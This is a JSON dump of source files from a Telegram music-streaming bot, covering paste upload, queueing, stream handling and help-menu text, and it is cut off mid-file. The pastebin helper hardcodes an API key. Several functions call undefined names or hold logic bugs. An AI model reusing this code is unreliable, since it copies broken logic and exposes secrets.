    "content": "import socket,requests\nfrom asyncio import get_running_loop\nfrom functools import partial\n\n\ndef _netcat(host, port, content):\n    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n    s.connect((host, port))\n    s.sendall(content.encode())\n    s.shutdown(socket.SHUT_WR)\n    while True:\n        data = s.recv(4096).decode(\"utf-8\").strip(\"\\n\\x00\")\n        if not data:\n            break\n        return data\n    s.close()\n\n\nasync def HottyBin(content):\n    url =\"https://pastebin.com/api/api_post.php\"\n    data = {\"api_dev_key\":\"9Rfu50iV5l3EuRWATw7EDLuC37RED-C4\",\"api_paste_code\": content,\"api_option\": \"paste\"}\n    response = requests.post(url, data=data)\n    link=response.text\n    return link\n"
  },
  {
    "path": "BrandrdXMusic/utils/stream/autoclear.py",
    "content": "import os\n\nfrom config import autoclean\n\n\nasync def auto_clean(popped):\n    try:\n        rem = popped[\"file\"]\n        autoclean.remove(rem)\n        count = autoclean.count(rem)\n        if count == 0:\n            if \"vid_\" not in rem or \"live_\" not in rem or \"index_\" not in rem:\n                try:\n                    os.remove(rem)\n                except:\n                    pass\n    except:\n        pass\n"
  },
  {
    "path": "BrandrdXMusic/utils/stream/queue.py",
    "content": "import asyncio\nfrom typing import Union\n\nfrom BrandrdXMusic.misc import db\nfrom BrandrdXMusic.utils.formatters import check_duration, seconds_to_min\nfrom config import autoclean, time_to_seconds\n\n\nasync def put_queue(\n    chat_id,\n    original_chat_id,\n    file,\n    title,\n    duration,\n    user,\n    vidid,\n    user_id,\n    stream,\n    forceplay: Union[bool, str] = None,\n):\n    title = title.title()\n    try:\n        duration_in_seconds = time_to_seconds(duration) - 3\n    except:\n        duration_in_seconds = 0\n    put = {\n        \"title\": title,\n        \"dur\": duration,\n        \"streamtype\": stream,\n        \"by\": user,\n        \"user_id\": user_id,\n        \"chat_id\": original_chat_id,\n        \"file\": file,\n        \"vidid\": vidid,\n        \"seconds\": duration_in_seconds,\n        \"played\": 0,\n    }\n    if forceplay:\n        check = db.get(chat_id)\n        if check:\n            check.insert(0, put)\n        else:\n            db[chat_id] = []\n            db[chat_id].append(put)\n    else:\n        db[chat_id].append(put)\n    autoclean.append(file)\n\n\nasync def put_queue_index(\n    chat_id,\n    original_chat_id,\n    file,\n    title,\n    duration,\n    user,\n    vidid,\n    stream,\n    forceplay: Union[bool, str] = None,\n):\n    if \"20.212.146.162\" in vidid:\n        try:\n            dur = await asyncio.get_event_loop().run_in_executor(\n                None, check_duration, vidid\n            )\n            duration = seconds_to_min(dur)\n        except:\n            duration = \"ᴜʀʟ sᴛʀᴇᴀᴍ\"\n            dur = 0\n    else:\n        dur = 0\n    put = {\n        \"title\": title,\n        \"dur\": duration,\n        \"streamtype\": stream,\n        \"by\": user,\n        \"chat_id\": original_chat_id,\n        \"file\": file,\n        \"vidid\": vidid,\n        \"seconds\": dur,\n        \"played\": 0,\n    }\n    if forceplay:\n        check = db.get(chat_id)\n        if check:\n            check.insert(0, put)\n        else:\n            db[chat_id] = []\n            db[chat_id].append(put)\n    else:\n        db[chat_id].append(put)\n"
  },
  {
    "path": "BrandrdXMusic/utils/stream/stream.py",
    "content": "import os\nfrom random import randint\nfrom typing import Union\nimport random\nimport string\nimport asyncio\nfrom pyrogram import client, filters\nfrom pyrogram.types import InlineKeyboardMarkup, InputMediaPhoto, Message\nfrom pytgcalls.exceptions import NoActiveGroupCall\nfrom BrandrdXMusic.utils.database import get_assistant\nimport config\nfrom BrandrdXMusic import Apple, Resso, SoundCloud, Spotify, Telegram, YouTube, app\nfrom BrandrdXMusic.core.call import Hotty\nfrom BrandrdXMusic.misc import SUDOERS\nfrom BrandrdXMusic.utils import seconds_to_min, time_to_seconds\nfrom BrandrdXMusic.utils.channelplay import get_channeplayCB\nfrom BrandrdXMusic.utils.decorators.language import languageCB\nfrom BrandrdXMusic.utils.decorators.play import PlayWrapper\nfrom BrandrdXMusic.utils.formatters import formats\nfrom BrandrdXMusic.utils.database import (\n    add_served_chat,\n    add_served_user,\n    blacklisted_chats,\n    get_lang,\n    is_banned_user,\n    is_on_off,\n)\nfrom BrandrdXMusic.utils.logger import play_logs\nfrom config import BANNED_USERS, lyrical\nfrom time import time\nfrom BrandrdXMusic.utils.extraction import extract_user\n\n# Define a dictionary to track the last message timestamp for each user\nuser_last_message_time = {}\nuser_command_count = {}\n# Define the threshold for command spamming (e.g., 20 commands within 60 seconds)\nSPAM_THRESHOLD = 2\nSPAM_WINDOW_SECONDS = 5\n\n\nfrom pyrogram.types import InlineKeyboardMarkup\n\nimport config\nfrom BrandrdXMusic import Carbon, YouTube, app\nfrom BrandrdXMusic.core.call import Hotty\nfrom BrandrdXMusic.misc import db\nfrom BrandrdXMusic.utils.database import add_active_video_chat, is_active_chat\nfrom BrandrdXMusic.utils.exceptions import AssistantErr\nfrom BrandrdXMusic.utils.inline import (\n    aq_markup,\n    close_markup,\n    stream_markup,\n)\nfrom BrandrdXMusic.utils.pastebin import HottyBin\nfrom BrandrdXMusic.utils.stream.queue import put_queue, put_queue_index\nfrom youtubesearchpython.__future__ import VideosSearch\n\n\nasync def stream(\n    _,\n    mystic,\n    user_id,\n    result,\n    chat_id,\n    user_name,\n    original_chat_id,\n    video: Union[bool, str] = None,\n    streamtype: Union[bool, str] = None,\n    spotify: Union[bool, str] = None,\n    forceplay: Union[bool, str] = None,\n):\n    if not result:\n        return\n    if forceplay:\n        await Hotty.force_stop_stream(chat_id)\n    if streamtype == \"playlist\":\n        msg = f\"{_['play_19']}\\n\\n\"\n        count = 0\n        for search in result:\n            if int(count) == config.PLAYLIST_FETCH_LIMIT:\n                continue\n            try:\n                (\n                    title,\n                    duration_min,\n                    duration_sec,\n                    thumbnail,\n                    vidid,\n                ) = await YouTube.details(search, False if spotify else True)\n            except:\n                continue\n            if str(duration_min) == \"None\":\n                continue\n            if duration_sec > config.DURATION_LIMIT:\n                continue\n            if await is_active_chat(chat_id):\n                await put_queue(\n                    chat_id,\n                    original_chat_id,\n                    f\"vid_{vidid}\",\n                    title,\n                    duration_min,\n                    user_name,\n                    vidid,\n                    user_id,\n                    \"video\" if video else \"audio\",\n                )\n                position = len(db.get(chat_id)) - 1\n                count += 1\n                msg += f\"{count}. {title[:70]}\\n\"\n                msg += f\"{_['play_20']} {position}\\n\\n\"\n            else:\n                if not forceplay:\n                    db[chat_id] = []\n                status = True if video else None\n                try:\n                    file_path, direct = await YouTube.download(\n                        vidid, mystic, video=status, videoid=True\n                    )\n                except:\n                    await mystic.edit_text(_[\"play_3\"])\n                await Hotty.join_call(\n                    chat_id,\n                    original_chat_id,\n                    file_path,\n                    video=status,\n                    image=thumbnail,\n                )\n                await put_queue(\n                    chat_id,\n                    original_chat_id,\n                    file_path if direct else f\"vid_{vidid}\",\n                    title,\n                    duration_min,\n                    user_name,\n                    vidid,\n                    user_id,\n                    \"video\" if video else \"audio\",\n                    forceplay=forceplay,\n                )\n                img = await get_thumb(vidid)\n                button = stream_markup(_, vidid, chat_id)\n                run = await app.send_photo(\n                    original_chat_id,\n                    photo=img,\n                    caption=_[\"stream_1\"].format(\n                        f\"https://t.me/{app.username}?start=info_{vidid}\",\n                        title[:18],\n                        duration_min,\n                        user_name,\n                    ),\n                    reply_markup=InlineKeyboardMarkup(button),\n                )\n\n                db[chat_id][0][\"mystic\"] = run\n                db[chat_id][0][\"markup\"] = \"stream\"\n        if count == 0:\n            return\n        else:\n            link = await brandedBin(msg)\n            lines = msg.count(\"\\n\")\n            if lines >= 17:\n                car = os.linesep.join(msg.split(os.linesep)[:17])\n            else:\n                car = msg\n            carbon = await Carbon.generate(car, randint(100, 10000000))\n            upl = close_markup(_)\n            return await app.send_photo(\n                original_chat_id,\n                photo=carbon,\n                caption=_[\"play_21\"].format(position, link),\n                reply_markup=upl,\n            )\n    elif streamtype == \"youtube\":\n        link = result[\"link\"]\n        vidid = result[\"vidid\"]\n        title = (result[\"title\"]).title()\n        duration_min = result[\"duration_min\"]\n        thumbnail = result[\"thumb\"]\n        status = True if video else None\n        try:\n            file_path, direct = await YouTube.download(\n                vidid, mystic, videoid=True, video=status\n            )\n        except:\n            await mystic.edit_text(_[\"play_3\"])\n        if await is_active_chat(chat_id):\n            await put_queue(\n                chat_id,\n                original_chat_id,\n                file_path if direct else f\"vid_{vidid}\",\n                title,\n                duration_min,\n                user_name,\n                vidid,\n                user_id,\n                \"video\" if video else \"audio\",\n            )\n            img = await get_thumb(vidid)\n            position = len(db.get(chat_id)) - 1\n            button = aq_markup(_, chat_id)\n            await app.send_photo(\n                chat_id=original_chat_id,\n                photo=img,\n                caption=_[\"queue_4\"].format(\n                    position, title[:18], duration_min, user_name\n                ),\n                reply_markup=InlineKeyboardMarkup(button),\n            )\n        else:\n            if not forceplay:\n                db[chat_id] = []\n            await Hotty.join_call(\n                chat_id,\n                original_chat_id,\n                file_path,\n                video=status,\n                image=thumbnail,\n            )\n            await put_queue(\n                chat_id,\n                original_chat_id,\n                file_path if direct else f\"vid_{vidid}\",\n                title,\n                duration_min,\n                user_name,\n                vidid,\n                user_id,\n                \"video\" if video else \"audio\",\n                forceplay=forceplay,\n            )\n            img = await get_thumb(vidid)\n            button = stream_markup(_, vidid, chat_id)\n            run = await app.send_photo(\n                original_chat_id,\n                photo=img,\n                caption=_[\"stream_1\"].format(\n                    f\"https://t.me/{app.username}?start=info_{vidid}\",\n                    title[:18],\n                    duration_min,\n                    user_name,\n                ),\n                reply_markup=InlineKeyboardMarkup(button),\n            )\n\n            db[chat_id][0][\"mystic\"] = run\n            db[chat_id][0][\"markup\"] = \"stream\"\n    elif streamtype == \"soundcloud\":\n        file_path = result[\"filepath\"]\n        title = result[\"title\"]\n        duration_min = result[\"duration_min\"]\n        if await is_active_chat(chat_id):\n            await put_queue(\n                chat_id,\n                original_chat_id,\n                file_path,\n                title,\n                duration_min,\n                user_name,\n                streamtype,\n                user_id,\n                \"audio\",\n            )\n            position = len(db.get(chat_id)) - 1\n            button = aq_markup(_, chat_id)\n            await app.send_message(\n                chat_id=original_chat_id,\n                text=_[\"queue_4\"].format(position, title[:18], duration_min, user_name),\n                reply_markup=InlineKeyboardMarkup(button),\n            )\n        else:\n            if not forceplay:\n                db[chat_id] = []\n            await Hotty.join_call(chat_id, original_chat_id, file_path, video=None)\n            await put_queue(\n                chat_id,\n                original_chat_id,\n                file_path,\n                title,\n                duration_min,\n                user_name,\n                streamtype,\n                user_id,\n                \"audio\",\n                forceplay=forceplay,\n            )\n            button = stream_markup2(_, chat_id)\n            run = await app.send_photo(\n                original_chat_id,\n                photo=config.SOUNCLOUD_IMG_URL,\n                caption=_[\"stream_1\"].format(\n                    config.SUPPORT_CHAT, title[:23], duration_min, user_name\n                ),\n                reply_markup=InlineKeyboardMarkup(button),\n            )\n            db[chat_id][0][\"mystic\"] = run\n            db[chat_id][0][\"markup\"] = \"tg\"\n    elif streamtype == \"telegram\":\n        file_path = result[\"path\"]\n        link = result[\"link\"]\n        title = (result[\"title\"]).title()\n        duration_min = result[\"dur\"]\n        status = True if video else None\n        if await is_active_chat(chat_id):\n            await put_queue(\n                chat_id,\n                original_chat_id,\n                file_path,\n                title,\n                duration_min,\n                user_name,\n                streamtype,\n                user_id,\n                \"video\" if video else \"audio\",\n            )\n            position = len(db.get(chat_id)) - 1\n            button = aq_markup(_, chat_id)\n            await app.send_message(\n                chat_id=original_chat_id,\n                text=_[\"queue_4\"].format(position, title[:18], duration_min, user_name),\n                reply_markup=InlineKeyboardMarkup(button),\n            )\n        else:\n            if not forceplay:\n                db[chat_id] = []\n            await Hotty.join_call(chat_id, original_chat_id, file_path, video=status)\n            await put_queue(\n                chat_id,\n                original_chat_id,\n                file_path,\n                title,\n                duration_min,\n                user_name,\n                streamtype,\n                user_id,\n                \"video\" if video else \"audio\",\n                forceplay=forceplay,\n            )\n            if video:\n                await add_active_video_chat(chat_id)\n            button = stream_markup2(_, chat_id)\n            run = await app.send_photo(\n                original_chat_id,\n                photo=config.TELEGRAM_VIDEO_URL if video else config.TELEGRAM_AUDIO_URL,\n                caption=_[\"stream_1\"].format(link, title[:23], duration_min, user_name),\n                reply_markup=InlineKeyboardMarkup(button),\n            )\n            db[chat_id][0][\"mystic\"] = run\n            db[chat_id][0][\"markup\"] = \"tg\"\n    elif streamtype == \"live\":\n        link = result[\"link\"]\n        vidid = result[\"vidid\"]\n        title = (result[\"title\"]).title()\n        thumbnail = result[\"thumb\"]\n        duration_min = \"Live Track\"\n        status = True if video else None\n        if await is_active_chat(chat_id):\n            await put_queue(\n                chat_id,\n                original_chat_id,\n                f\"live_{vidid}\",\n                title,\n                duration_min,\n                user_name,\n                vidid,\n                user_id,\n                \"video\" if video else \"audio\",\n            )\n            position = len(db.get(chat_id)) - 1\n            button = aq_markup(_, chat_id)\n            await app.send_message(\n                chat_id=original_chat_id,\n                text=_[\"queue_4\"].format(position, title[:18], duration_min, user_name),\n                reply_markup=InlineKeyboardMarkup(button),\n            )\n        else:\n            if not forceplay:\n                db[chat_id] = []\n            n, file_path = await YouTube.video(link)\n            if n == 0:\n                raise AssistantErr(_[\"str_3\"])\n            await Hotty.join_call(\n                chat_id,\n                original_chat_id,\n                file_path,\n                video=status,\n                image=thumbnail if thumbnail else None,\n            )\n            await put_queue(\n                chat_id,\n                original_chat_id,\n                f\"live_{vidid}\",\n                title,\n                duration_min,\n                user_name,\n                vidid,\n                user_id,\n                \"video\" if video else \"audio\",\n                forceplay=forceplay,\n            )\n            img = await get_thumb(vidid)\n            button = stream_markup2(_, chat_id)\n            run = await app.send_photo(\n                original_chat_id,\n                photo=img,\n                caption=_[\"stream_1\"].format(\n                    f\"https://t.me/{app.username}?start=info_{vidid}\",\n                    title[:23],\n                    duration_min,\n                    user_name,\n                ),\n                reply_markup=InlineKeyboardMarkup(button),\n            )\n            db[chat_id][0][\"mystic\"] = run\n            db[chat_id][0][\"markup\"] = \"tg\"\n    elif streamtype == \"index\":\n        link = result\n        title = \"ɪɴᴅᴇx ᴏʀ ᴍ3ᴜ8 ʟɪɴᴋ\"\n        duration_min = \"00:00\"\n        if await is_active_chat(chat_id):\n            await put_queue_index(\n                chat_id,\n                original_chat_id,\n                \"index_url\",\n                title,\n                duration_min,\n                user_name,\n                link,\n                \"video\" if video else \"audio\",\n            )\n            position = len(db.get(chat_id)) - 1\n            button = aq_markup(_, chat_id)\n            await mystic.edit_text(\n                text=_[\"queue_4\"].format(position, title[:27], duration_min, user_name),\n                reply_markup=InlineKeyboardMarkup(button),\n            )\n        else:\n            if not forceplay:\n                db[chat_id] = []\n            await Hotty.join_call(\n                chat_id,\n                original_chat_id,\n                link,\n                video=True if video else None,\n            )\n            await put_queue_index(\n                chat_id,\n                original_chat_id,\n                \"index_url\",\n                title,\n                duration_min,\n                user_name,\n                link,\n                \"video\" if video else \"audio\",\n                forceplay=forceplay,\n            )\n            button = stream_markup2(_, chat_id)\n            run = await app.send_photo(\n                original_chat_id,\n                photo=config.STREAM_IMG_URL,\n                caption=_[\"stream_2\"].format(user_name),\n                reply_markup=InlineKeyboardMarkup(button),\n            )\n            db[chat_id][0][\"mystic\"] = run\n            db[chat_id][0][\"markup\"] = \"tg\"\n            await mystic.delete()\n\n\n# Function to get thumbnail by video ID\nasync def get_thumb(videoid):\n    try:\n        # Search for the video using video ID\n        query = f\"https://www.youtube.com/watch?v={videoid}\"\n        results = VideosSearch(query, limit=1)\n        for result in (await results.next())[\"result\"]:\n            thumbnail = result[\"thumbnails\"][0][\"url\"].split(\"?\")[0]\n        return thumbnail\n    except Exception as e:\n        return config.YOUTUBE_IMG_URL\n\n\nasync def get_thumb(vidid):\n    try:\n        # Search for the video using video ID\n        query = f\"https://www.youtube.com/watch?v={vidid}\"\n        results = VideosSearch(query, limit=1)\n        for result in (await results.next())[\"result\"]:\n            thumbnail = result[\"thumbnails\"][0][\"url\"].split(\"?\")[0]\n        return thumbnail\n    except Exception as e:\n        return config.YOUTUBE_IMG_URL\n"
  },
  {
    "path": "BrandrdXMusic/utils/stuffs/_init.py_",
    "content": "\n"
  },
  {
    "path": "BrandrdXMusic/utils/stuffs/buttons.py",
    "content": "from pyrogram.types import InlineKeyboardMarkup, InlineKeyboardButton, Message\nfrom pyrogram import Client, filters, enums \n\nclass BUTTONS(object):\n    MBUTTON = [[InlineKeyboardButton(\"CʜᴀᴛGPT\", callback_data=\"mplus HELP_ChatGPT\"),InlineKeyboardButton(\"Hɪsᴛᴏʀʏ\", callback_data=\"mplus HELP_History\"),InlineKeyboardButton(\"Rᴇᴇʟ\", callback_data=\"mplus HELP_Reel\")],\n    [InlineKeyboardButton(\"Tᴀɢ-Aʟʟ\", callback_data=\"mplus HELP_TagAll\"),\n    InlineKeyboardButton(\"Iɴꜰᴏ\", callback_data=\"mplus HELP_Info\"),InlineKeyboardButton(\"Exᴛʀᴀ\", callback_data=\"mplus HELP_Extra\")],\n    [InlineKeyboardButton(\"ᴄᴏᴜᴘʟᴇꜱ\", callback_data=\"mplus HELP_Couples\"),\n    InlineKeyboardButton(\"Aᴄᴛɪᴏɴ\", callback_data=\"mplus HELP_Action\"),InlineKeyboardButton(\"Sᴇᴀʀᴄʜ\", callback_data=\"mplus HELP_Search\")],    \n    [InlineKeyboardButton(\"ғᴏɴᴛ\", callback_data=\"mplus HELP_Font\"),\n    InlineKeyboardButton(\"Bᴏᴛs\", callback_data=\"mplus HELP_Bots\"),InlineKeyboardButton(\"Ⓣ-ɢʀᴀᴘʜ\", callback_data=\"mplus HELP_TG\")],\n    [InlineKeyboardButton(\"Sᴏᴜʀᴄᴇ\", callback_data=\"mplus HELP_Source\"),\n    InlineKeyboardButton(\"Tʀᴜᴛʜ-ᗪᴀʀᴇ\", callback_data=\"mplus HELP_TD\"),InlineKeyboardButton(\"Qᴜɪᴢ\", callback_data=\"mplus HELP_Quiz\")], \n    [InlineKeyboardButton(\"ᴛᴛs\", callback_data=\"mplus HELP_TTS\"),\n    InlineKeyboardButton(\"Rᴀᴅɪᴏ\", callback_data=\"mplus HELP_Radio\"),InlineKeyboardButton(\"ǫᴜᴏᴛʟʏ\", callback_data=\"mplus HELP_Q\")],          \n    [InlineKeyboardButton(\"◁\", callback_data=f\"settings_back_helper\"),\n     InlineKeyboardButton(\"↻ ʙᴀᴄᴋ ↻\", callback_data=f\"mbot_cb\"), \n    InlineKeyboardButton(\"▷\", callback_data=f\"managebot123 settings_back_helper\"),\n    ]]\n"
  },
  {
    "path": "BrandrdXMusic/utils/stuffs/helper.py",
    "content": "# helper for strings\n\nclass Helper(object):\n    HELP_M = '''ᴄʜᴏᴏsᴇ ᴛʜᴇ ᴄᴀᴛᴇɢᴏʀʏ ғᴏʀ ᴡʜɪᴄʜ ʏᴏᴜ ᴡᴀɴɴᴀ ɢᴇᴛ ʜᴇʟᴩ.\nᴀsᴋ ʏᴏᴜʀ ᴅᴏᴜʙᴛs ᴀᴛ sᴜᴘᴘᴏʀᴛ ᴄʜᴀᴛ\n\nᴀʟʟ ᴄᴏᴍᴍᴀɴᴅs ᴄᴀɴ ʙᴇ ᴜsᴇᴅ ᴡɪᴛʜ : /'''\n    HELP_ChatGPT = '''CʜᴀᴛGPT\n\nCʜᴀᴛGPT ᴄᴏᴍᴍᴀɴᴅꜱ:\n\n/ask ➠ ǫᴜᴇʀɪᴇs ᴛʜᴇ ᴀɪ ᴍᴏᴅᴇʟ ᴛᴏ ɢᴇᴛ ᴀ ʀᴇsᴘᴏɴsᴇ ᴛᴏ ʏᴏᴜʀ ǫᴜᴇsᴛɪᴏɴ.\n'''\n\n    HELP_Reel = '''Rᴇᴇʟ\n\nRᴇᴇʟ ᴄᴏᴍᴍᴀɴᴅꜱ:\n\n/ig [URL] ➠ ᴅᴏᴡɴʟᴏᴀᴅ ɪɴsᴛᴀɢʀᴀᴍ ʀᴇᴇʟs. Pʀᴏᴠɪᴅᴇ ᴛʜᴇ ɪɴsᴛᴀɢʀᴀᴍ ʀᴇᴇʟ URL ᴀғᴛᴇʀ ᴛʜᴇ ᴄᴏᴍᴍᴀɴᴅ.\n/instagram [URL] ➠ ᴅᴏᴡɴʟᴏᴀᴅ ɪɴsᴛᴀɢʀᴀᴍ ʀᴇᴇʟs. Pʀᴏᴠɪᴅᴇ ᴛʜᴇ ɪɴsᴛᴀɢʀᴀᴍ ʀᴇᴇʟ URL ᴀғᴛᴇʀ ᴛʜᴇ ᴄᴏᴍᴍᴀɴᴅ.\n/reel [URL]  ➠ ᴅᴏᴡɴʟᴏᴀᴅ ɪɴsᴛᴀɢʀᴀᴍ ʀᴇᴇʟs. Pʀᴏᴠɪᴅᴇ ᴛʜᴇ ɪɴsᴛᴀɢʀᴀᴍ ʀᴇᴇʟ URL ᴀғᴛᴇʀ ᴛʜᴇ ᴄᴏᴍᴍᴀɴᴅ.\n'''\n\n    HELP_TagAll = '''Tᴀɢ\n\n  Tᴀɢ ᴄᴏᴍᴍᴀɴᴅꜱ:\n\n✿ ᴄʜᴏᴏsᴇ ᴛᴀɢ ɪɴ ʏᴏᴜʀ ᴄʜᴀᴛ ✿\n\n๏ /gmtag ➛ ɢᴏᴏᴅ ᴍᴏʀɴɪɴɢ \nᴛᴀɢ sᴛᴏᴘ ⇴ /gmstop\n\n๏ /gntag ➛ ɢᴏᴏᴅ ɴɪɢʜᴛ ᴛᴀɢ sᴛᴏᴘ ⇴ /gnstop\n\n๏ /tagall ➛ ʀᴀɴᴅᴏᴍ ᴍᴇssᴀɢᴇ ᴛᴀɢ sᴛᴏᴘ ⇴ /tagoff /tagstop\n\n๏ /hitag ➛ ʀᴀɴᴅᴏᴍ ʜɪɴᴅɪ ᴍᴇssᴀɢᴇ ᴛᴀɢ sᴛᴏᴘ ⇴/histop\n\n๏ /shayari ➛ ʀᴀɴᴅᴏᴍ sʜᴀʏᴀʀɪ ᴛᴀɢ sᴛᴏᴘ ⇴ /shstop\n\n๏ /utag ➛ ᴀɴʏ ᴡʀɪᴛᴛᴇɴ ᴛᴇxᴛ ᴛᴀɢ sᴛᴏᴘ ⇴ /cancel\n'''\n\n    HELP_Info = '''Iɴꜰᴏ\n\nIɴꜰᴏ ᴄᴏᴍᴍᴀɴᴅꜱ:\n\n/id : ɢᴇᴛ ᴛʜᴇ ᴄᴜʀʀᴇɴᴛ ɢʀᴏᴜᴘ ɪᴅ. ɪғ ᴜsᴇᴅ ʙʏ ʀᴇᴘʟʏɪɴɢ ᴛᴏ ᴀ ᴍᴇssᴀɢᴇ, ɢᴇᴛs ᴛʜᴀᴛ ᴜsᴇʀ's ɪᴅ.\n/info : ɢᴇᴛ ɪɴғᴏʀᴍᴀᴛɪᴏɴ ᴀʙᴏᴜᴛ ᴀ ᴜsᴇʀ.\n'''\n    HELP_History = '''Hɪsᴛᴏʀʏ\n\nHɪsᴛᴏʀʏ ᴄᴏᴍᴍᴀɴᴅꜱ:\n\nᴛʜᴇsᴇ ᴀʀᴇ ᴛʜᴇ ᴀᴠᴀɪʟᴀʙʟᴇ ɢʀᴏᴜᴘ ᴍᴀɴᴀɢᴇᴍᴇɴᴛ ᴄᴏᴍᴍᴀɴᴅs:\n\n⦿ /sɢ ᴏʀ /Hɪsᴛᴏʀʏ\nDᴇsᴄʀɪᴘᴛɪᴏɴ:\n⦿ Fᴇᴛᴄʜᴇs ᴀ ʀᴀɴᴅᴏᴍ ᴍᴇssᴀɢᴇ ғʀᴏᴍ ᴀ ᴜsᴇʀ's ᴍᴇssᴀɢᴇ ʜɪsᴛᴏʀʏ.\n\nUsᴀɢᴇ:\n⦿ /sɢ [ᴜsᴇʀɴᴀᴍᴇ/ɪᴅ/ʀᴇᴘʏ]\n\nDᴇᴛᴀɪs:\n⦿ Fᴇᴛᴄʜᴇs ᴀ ʀᴀɴᴅᴏᴍ ᴍᴇssᴀɢᴇ ғʀᴏᴍ ᴛʜᴇ ᴍᴇssᴀɢᴇ ʜɪsᴛᴏʀʏ ᴏғ ᴛʜᴇ sᴘᴇᴄɪғɪᴇᴅ ᴜsᴇʀ.\n⦿ Cᴀɴ ʙᴇ ᴜsᴇᴅ ʙʏ ᴘʀᴏᴠɪᴅɪɴɢ ᴀ ᴜsᴇʀɴᴀᴍᴇ, ᴜsᴇʀ ID, ᴏʀ ʀᴇᴘʏɪɴɢ ᴛᴏ ᴀ ᴍᴇssᴀɢᴇ ғʀᴏᴍ ᴛʜᴇ ᴜsᴇʀ.\n⦿ Aᴄᴄᴇssɪʙᴇ ᴏɴʏ ʙʏ ᴛʜᴇ ʙᴏᴛ's ᴀssɪsᴛᴀɴᴛs.\n\nExᴀᴍᴘᴇs:\n⦿ /sɢ ᴜsᴇʀɴᴀᴍᴇ`\n⦿ /sɢ ᴜsᴇʀ_ɪᴅ`\n⦿ /sɢ [ʀᴇᴘʏ ᴛᴏ ᴀ ᴍᴇssᴀɢᴇ]`\n'''\n\n    HELP_Couples = '''ᴄᴏᴜᴘʟᴇꜱ\n\nᴄᴏᴜᴘʟᴇꜱ ᴄᴏᴍᴍᴀɴᴅꜱ:\n\n/couples - ᴄʜᴏᴏsᴇ 2 ᴜsᴇʀs ᴀɴᴅ sᴇɴᴅ ᴛʜᴇɪʀ ɴᴀᴍᴇ ᴀs ᴄᴏᴜᴘʟᴇs ɪɴ ʏᴏᴜʀ ᴄʜᴀᴛ.\n'''\n\n    HELP_Extra = '''Exᴛʀᴀ\n\nExᴛʀᴀ ᴄᴏᴍᴍᴀɴᴅꜱ:\n\n⦿ /tgm ➠ ᴜᴘʟᴏᴀᴅs ᴀ ᴘʜᴏᴛᴏ (ᴜɴᴅᴇʀ 𝟻ᴍʙ) ᴛᴏ ᴛʜᴇ ᴄʟᴏᴜᴅ ᴀɴᴅ ɢɪᴠᴇs ᴀ ʟɪɴᴋ.\n⦿ /paste ➠ ᴜᴘʟᴏᴀᴅs ᴀ ᴛᴇxᴛ sɴɪᴘᴘᴇᴛ ᴛᴏ ᴛʜᴇ ᴄʟᴏᴜᴅ ᴀɴᴅ ɢɪᴠᴇs ᴀ ʟɪɴᴋ.\n⦿ /tr ➠ ᴛʀᴀɴsʟᴀᴛᴇs ᴛᴇxᴛ.\n'''\n    HELP_Action = '''Aᴄᴛɪᴏɴ\n\nAᴄᴛɪᴏɴ ᴄᴏᴍᴍᴀɴᴅꜱ:\n\n» ᴀᴠᴀɪʟᴀʙʟᴇ ᴄᴏᴍᴍᴀɴᴅs ꜰᴏʀ Bᴀɴs & Mᴜᴛᴇ :\n\n ❍ /kickme: kicks the user who issued the command\n\nAdmins only:\n ❍ /ban <userhandle>: bans a user. (via handle, or reply)\n ❍ /sban <userhandle>: Silently ban a user. Deletes command, Replied message and doesn't reply. (via handle, or reply)\n ❍ /tban <userhandle> x(m/h/d): bans a user for x time. (via handle, or reply). m = minutes, h = hours, d = days.\n ❍ /unban <userhandle>: unbans a user. (via handle, or reply)\n ❍ /kick <userhandle>: kicks a user out of the group, (via handle, or reply)\n ❍ /mute <userhandle>: silences a user. Can also be used as a reply, muting the replied to user.\n ❍ /tmute <userhandle> x(m/h/d): mutes a user for x time. (via handle, or reply). m = minutes, h = hours, d = days.\n ❍ /unmute <userhandle>: unmutes a user. Can also be used as a reply, muting the replied to user.\n__\n𝐒ᴘᴇᴄɪᴀʟ 𝐂ᴏᴍᴍᴀɴᴅs 𝐒ᴜᴘᴘᴏʀᴛ 𝐀ʟʟ 𝐄xᴀᴍᴘʟᴇ  - Bɾαɳԃҽԃ  Ⴆαɳ Ⴆɾαɳԃҽԃ ɱυƚҽ Ⴆɾαɳԃҽԃ ρɾσɱσƚҽ ..... 𝚎𝚝𝚌\n'''\n    HELP_Search = '''Sᴇᴀʀᴄʜ\n\nSᴇᴀʀᴄʜ ᴄᴏᴍᴍᴀɴᴅꜱ:\n\n• /google <query> : Search the google for the given query.\n• /image (/imgs) <query> : Get the images regarding to your query\n\nExample:\n/google pyrogram: return top 5 reuslts.\n'''\n\n    HELP_Font = '''ғᴏɴᴛ\n\nʜᴇʀᴇ ɪs ᴛʜᴇ ʜᴇʟᴘ ғᴏʀ ᴛʜᴇ ғᴏɴᴛ ᴍᴏᴅᴜʟᴇ:\n\nғᴏɴᴛ ᴍᴏᴅᴜʟᴇ:\n\nʙʏ ᴜsɪɴɢ ᴛʜɪs ᴍᴏᴅᴜʟᴇ ʏᴏᴜ ᴄᴀɴ ᴄʜᴀɴɢᴇ ғᴏɴᴛs ᴏғ ᴀɴʏ ᴛᴇxᴛ!\n\n◌ /font [ᴛᴇxᴛ]\n'''\n    HELP_Bots = '''Bᴏᴛs\n\nʜᴇʀᴇ ɪs ᴛʜᴇ ʜᴇʟᴘ ғᴏʀ ᴛʜᴇ Bᴏᴛs ᴍᴏᴅᴜʟᴇ:\nɢᴀᴍᴇs ᴍᴏᴅᴜʟᴇ:\n\n◌ /bots - ɢᴇᴛ ᴀ ʟɪsᴛ ᴏғ ʙᴏᴛs ɪɴ ᴛʜᴇ ɢʀᴏᴜᴘ.\n'''\n    HELP_TG = '''Ⓣ-ɢʀᴀᴘʜ\n\nⓉ-ɢʀᴀᴘʜ ᴄᴏᴍᴍᴀɴᴅꜱ:\n\nᴄʀᴇᴀᴛᴇ ᴀ ᴛᴇʟᴇɢʀᴀᴘʜ ʟɪɴᴋ ᴀɴʏ ᴍᴇᴅɪᴀ!\n\n◌ /tgm [ʀᴇᴘʟʏ ᴛᴏ ᴀɴʏ ᴍᴇᴅɪᴀ]\n◌ /tgt [ʀᴇᴘʟʏ ᴛᴏ ᴀɴʏ ᴍᴇᴅɪᴀ]\n'''\n    HELP_Source = '''Sᴏᴜʀᴄᴇ\n\nTʜɪs ᴍᴏᴅᴜᴇ ᴘʀᴏᴠɪᴅᴇs ᴜᴛɪɪᴛʏ ᴄᴏᴍᴍᴀɴᴅs ғᴏʀ 